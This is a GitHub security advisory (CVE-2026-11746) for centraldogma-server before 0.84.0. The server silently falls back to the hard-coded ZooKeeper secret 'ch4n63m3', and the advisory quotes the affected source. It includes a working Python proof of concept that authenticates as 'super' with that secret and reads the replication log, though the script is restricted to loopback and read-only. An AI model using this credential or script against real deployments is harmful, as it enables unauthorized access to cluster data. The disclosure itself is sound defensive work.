GitHub Advisoryadvisory · Maven
GHSA-2j95-gqxf-v3vg Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover
CRITICAL
Official page ↗
- Aliases
- CVE-2026-11746
- Ecosystem
- Maven
- Packages
- com.linecorp.centraldogma:centraldogma-server
- Severity
- Critical
- CVSS vector
- CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Weaknesses
- CWE-798
- Reviewed
- 2026-09-11
Affected packages
• Maven com.linecorp.centraldogma:centraldogma-server: < 0.84.0 → fixed in 0.84.0
Description
Vulnerability
`ZooKeeperReplicationConfig.secret()` silently substitutes the hard-coded constant `"ch4n63m3"` (leetspeak for "change me") whenever the operator omits `replication.secret`. The same secret is wired into both the client-facing SASL context and the quorum/learner SASL contexts of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.
Three Reinforcing Defects
1. OSS-public credential — `DEFAULT_SECRET` is in `line/centraldogma` source.
2. Silent fallback — `firstNonNull(convertValue(...), DEFAULT_SECRET)` substitutes the default with no log, no warning, no startup banner. The only sanity check `checkArgument(!secret().isEmpty(), ...)` passes because the getter substitutes the literal before the emptiness check runs.
3. Dual-purpose secret — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.
Architecture Context (Important)
Central Dogma does NOT connect to an external ZooKeeper ensemble. Each replica embeds a `QuorumPeer` (`EmbeddedZooKeeper extends QuorumPeer`) inside its own JVM. The Central Dogma cluster IS the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself.
Applicability
| `replication.method` | ZK Started? | Applicable? |
|---|---|---|
| `NONE` (standalone, dev default) | No | NOT applicable |
| `ZOOKEEPER` (HA production) | Yes, embedded on every replica | Fully applicable — canonical production configuration |
---
Evidence
File: `server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java`
Branch: `main` @ commit `d64a5151`
Line 53 — the constant:
```java
private static final String DEFAULT_SECRET = "ch4n63m3";
```
Lines 210–215 — the silent fallback:
```java
/**
• Returns the secret string used for authenticating the ZooKeeper peers.
*/
public String secret() {
return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET);
}
```
---
File: `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java`
Lines 586–607 — JAAS wiring (same secret on both surfaces):
```java
final String escapedSecret = jaasValueEscaper.escape(cfg.secret());
ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> {
buf.append(name).append(" {").append(newline);
buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline);
buf.append("};").append(newline);
});
ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> {
buf.append(name).append(" {").append(newline);
buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
buf.append("username=\"super\"").append(newline);
buf.append("password=\"").append(escapedSecret).append("\";").append(newline);
buf.append("};").append(newline);
});
```
---
File: `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java`
Line 44 — proves CD embeds the ZK server:
```java
final class EmbeddedZooKeeper extends QuorumPeer {
```
Lines 213–220 — client port binding (loopback only):
```java
private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {
final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();
final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();
// Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.
cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0),
zkCfg.getMaxClientCnxns());
return cnxnFactory;
}
```
> Quorum/election ports are NOT loopback-bound — they bind to `replication.servers[].host` as configured, exposed on the inter-replica network.
---
PoC
Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized.
Surface A — Same-Host Client Port (Loopback) PoC
Python + kazoo + pure-sasl. Authenticates as `super` over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to `127.0.0.1`, read-only, prints first 5 entries.
```python
!/usr/bin/env python3
"""
C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).
Demonstrates that a Central Dogma instance launched with a
ZooKeeper-replicated configuration but without `replication.secret` set
exposes its embedded ZooKeeper to anyone with local-host access, using
the well-known credential `super / ch4n63m3`.
SAFETY:
• Hardcoded to 127.0.0.1. Refuses any other target.
• Read-only. No writes are issued. No nodes are deleted.
• Limits how much data it prints (first MAX_LOGS entries).
"""
from __future__ import annotations
import sys
from kazoo.client import KazooClient
from kazoo.exceptions import NoNodeError
HOST = "127.0.0.1"
DEFAULT_PORT = 2381
DEFAULT_USER = "super"
DEFAULT_SECRET = "ch4n63m3" # ZooKeeperReplicationConfig.DEFAULT_SECRET
MAX_LOGS = 5
def main() -> int:
port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT
if HOST != "127.0.0.1":
print("Refusing to run against non-loopback host.", file=sys.stderr)
return 2
zk = KazooClient(
hosts=f"{HOST}:{port}",
sasl_options={
"mechanism": "DIGEST-MD5",
"username": DEFAULT_USER,
"password": DEFAULT_SECRET,
},
read_only=True,
timeout=5.0,
)
try:
zk.start(timeout=5)
except Exception as exc:
print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr)
return 1
try:
try:
log_children = zk.get_children("/dogma/logs")
except NoNodeError:
print("[i] /dogma/logs not present -- is replication actually enabled?")
log_children = []
print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.")
print(f"[+] /dogma/logs has {len(log_children)} entries.")
for child in sorted(log_children)[:MAX_LOGS]:
path = f"/dogma/logs/{child}"
try:
data, stat = zk.get(path)
except NoNodeError:
continue
preview = data[:120].decode("utf-8", errors="replace") if data else ""
print(f" - {path} ({stat.dataLength} bytes) preview={preview!r}")
try:
block_children = zk.get_children("/dogma/log_blocks")
print(f"[+] /dogma/log_blocks has {len(block_children)} entries.")
except NoNodeError:
pass
print(
f"[!] ZK cluster compromised: read {len(log_children)} log entries "
"with default credentials."
)
return 0
finally:
zk.stop()
zk.close()
if __name__ == "__main__":
raise SystemExit(main())
```
Dependencies (`requirements.txt`): `kazoo`, `pure-sasl`
Setup: edit `dist/src/conf/dogma.json` to enable replication WITHOUT setting secret:
```json
{
"replication": {
"method": "ZOOKEEPER",
"serverId": 1,
"servers": {
"1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 }
}
}
}
```
> Note: `replication.secret` is INTENTIONALLY omitted. Launch with `./gradlew :dist:startup`.
Run:
```bash
python3 zk_takeover.py 2381
```
Expected output (VULNERABLE):
```
[+] Authenticated as 'super' with default secret.
[+] /dogma/logs has 14 entries.
• /dogma/logs/0000000001 (412 bytes) preview="{"size":..."
• /dogma/logs/0000000002 (508 bytes) preview="{"size":..."
...
[…
Related
Alias · CVE (1)
- CVE-2026-11746 A vulnerability has been identified in centraldogma-server versions prior to 0.84.0, where enabling ZooKeeper replication without setting… vulnerability
Weakness · CWE (1)
- CWE-798 Use of Hard-coded Credentials weakness